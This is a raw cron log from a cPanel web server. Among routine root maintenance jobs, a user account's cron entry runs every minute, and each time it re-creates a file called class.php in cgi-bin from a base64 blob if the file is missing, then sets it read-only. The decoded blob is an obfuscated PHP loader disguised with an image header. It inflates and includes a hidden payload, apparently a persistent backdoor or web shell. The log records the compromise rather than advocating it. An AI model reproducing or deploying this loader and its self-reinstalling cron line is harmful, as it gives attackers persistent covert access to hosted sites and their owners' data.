Sep  5 06:48:01 server CROND[21781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:48:01 server CROND[21782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:49:01 server CROND[22148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:49:01 server CROND[22149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:49:01 server CROND[22150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:50:01 server CROND[22532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:50:01 server CROND[22534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:50:01 server CROND[22536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:50:01 server CROND[22537]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:50:01 server CROND[22539]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 06:50:01 server CROND[22541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:50:01 server CROND[22543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:50:01 server CROND[22545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:50:01 server CROND[22540]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:51:01 server CROND[23642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:51:01 server CROND[23643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:51:01 server CROND[23644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:52:01 server CROND[24018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:52:01 server CROND[24019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:52:01 server CROND[24020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:53:01 server CROND[24398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:53:01 server CROND[24399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:53:01 server CROND[24400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:54:01 server CROND[24779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:54:01 server CROND[24780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:54:01 server CROND[24781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:55:01 server CROND[25159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:55:01 server CROND[25162]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:55:01 server CROND[25164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:55:01 server CROND[25163]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:55:01 server CROND[25165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:55:01 server CROND[25166]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:55:01 server CROND[25161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:56:01 server CROND[26093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:56:01 server CROND[26094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:56:01 server CROND[26095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:57:01 server CROND[26479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:57:01 server CROND[26481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:57:01 server CROND[26480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:57:01 server CROND[26482]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 06:58:01 server CROND[26865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:58:01 server CROND[26866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:58:01 server CROND[26867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:59:01 server CROND[27243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:59:01 server CROND[27242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:59:01 server CROND[27244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:00:01 server CROND[27622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:00:01 server CROND[27623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:00:01 server CROND[27629]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 07:00:01 server CROND[27627]: (root) CMD (/usr/lib64/sa/sa1 1 1)
